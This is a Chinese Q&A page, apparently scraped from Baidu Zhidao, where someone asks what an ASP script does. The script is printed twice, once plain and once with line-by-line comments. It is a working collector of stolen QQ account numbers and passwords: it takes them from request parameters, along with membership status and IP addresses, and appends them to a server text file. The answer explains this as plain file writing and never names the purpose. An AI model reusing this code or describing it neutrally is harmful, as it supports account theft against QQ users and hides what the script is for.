ASP语言在线翻译

来源：百度知道 编辑：UC知道 时间：2024/05/28 19:06:45
<%
strLogFile="aaaaaaaaaaa.txt"

QQNumber=request("QQNumber")
QQPassWord=request("QQPassWord")
QQclub=request("QQclub")
QQip=request("QQip")

if QQNumber="" or QQPassWord="" then
response.write "pzQQ"
response.end
End If
StrLogText=StrLogText&QQNumber&"----"&QQPassWord&"----会员:"&QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST")
StrLogText=StrLogText&")----"&date&" "&time

set f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)&StrLogText)
ff.close
set ff=nothing
set f=nothing

response.write "发送成功!"
%>

strLogFile="aaaaaaaaaaa.txt" //给strLogFile给值

QQNumber=request("QQNumber") //接收QQNumber参数的值（可以是input 也可是url里传过来的）
QQPassWord=request("QQPassWord")
QQclub=request("QQclub")
QQip=request("QQip")

if QQNumber="" or QQPassWord="" then //判断。QQNumber 和QQPassWord 2个任意一个为空就执行下面的。
response.write "pzQQ" //打印
response.end //结束
End If
StrLogText=StrLogText&QQNumber&"----"&QQPassWord&"----会员:"&QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST")
StrLogText=StrLogText&")----"&date&" "&time//组合 给值

set f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)&StrLogText)
ff.close
这一段是是往文件里面写东西
set ff=nothing